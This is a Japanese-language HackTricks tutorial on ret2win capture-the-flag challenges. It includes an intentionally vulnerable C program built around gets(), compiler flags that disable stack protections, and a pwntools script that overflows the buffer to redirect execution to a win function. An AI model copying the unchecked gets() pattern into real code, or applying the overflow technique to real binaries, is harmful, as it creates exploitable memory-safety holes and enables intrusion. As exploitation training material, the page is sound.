hacktricks/binary-exploitation/stack-overflow/ret2win/README.md

10 KiB
Raw Blame History

Ret2win

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

基本情報

Ret2win チャレンジは、特に バイナリエクスプロイト を含むタスクにおいて、Capture The Flag (CTF) コンペティションで人気のあるカテゴリーです。目的は、特定の未呼び出しの関数を実行するために、与えられたバイナリ内の脆弱性を悪用することです。この関数は通常、winflag などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の リターンアドレス を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。

Cの例

脆弱性を持つシンプルなCプログラムと、呼び出すことを意図している win 関数を考えてみましょう:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

このプログラムをスタック保護なしで、ASLR を無効にしてコンパイルするには、次のコマンドを使用できます:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: プログラムを32ビットバイナリとしてコンパイルしますこれはオプションですが、CTFチャレンジでは一般的です
  • -fno-stack-protector: スタックオーバーフローに対する保護を無効にします。
  • -z execstack: スタック上のコードの実行を許可します。
  • -no-pie: 位置独立実行可能ファイルを無効にして、win関数のアドレスが変更されないようにします。
  • -o vulnerable: 出力ファイルの名前をvulnerableにします。

Python Exploit using Pwntools

エクスプロイトには、エクスプロイトを書くための強力なCTFフレームワークであるpwntoolsを使用します。エクスプロイトスクリプトは、バッファをオーバーフローさせ、戻りアドレスをwin関数のアドレスで上書きするペイロードを作成します。

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

win関数のアドレスを見つけるには、gdbobjdump、またはバイナリファイルを検査できる他のツールを使用できます。例えば、objdumpを使用して次のようにできます:

objdump -d vulnerable | grep win

このコマンドは、win 関数のアセンブリを表示し、その開始アドレスを含みます。

Python スクリプトは、vulnerable_function によって処理されると、バッファをオーバーフローさせ、スタック上のリターンアドレスを win のアドレスで上書きするように巧妙に作成されたメッセージを送信します。vulnerable_function が戻ると、main に戻るのではなく、win にジャンプし、メッセージが表示されます。

保護

  • PIE は無効にするべきです。そうしないと、アドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、win 関数がどこにロードされているかを把握するために何らかの leak が必要になります。オーバーフローを引き起こす関数が read やそれに類似するものである場合、リターンアドレスを win 関数に変更するために 1 または 2 バイトの 部分上書き を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は 1/161 ニブル)です。
  • スタックカナリア も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。

その他の例と参考文献

ARM64 の例

{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}

{% hint style="success" %} AWS ハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE)
GCP ハッキングを学び、練習する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricks をサポートする
{% endhint %}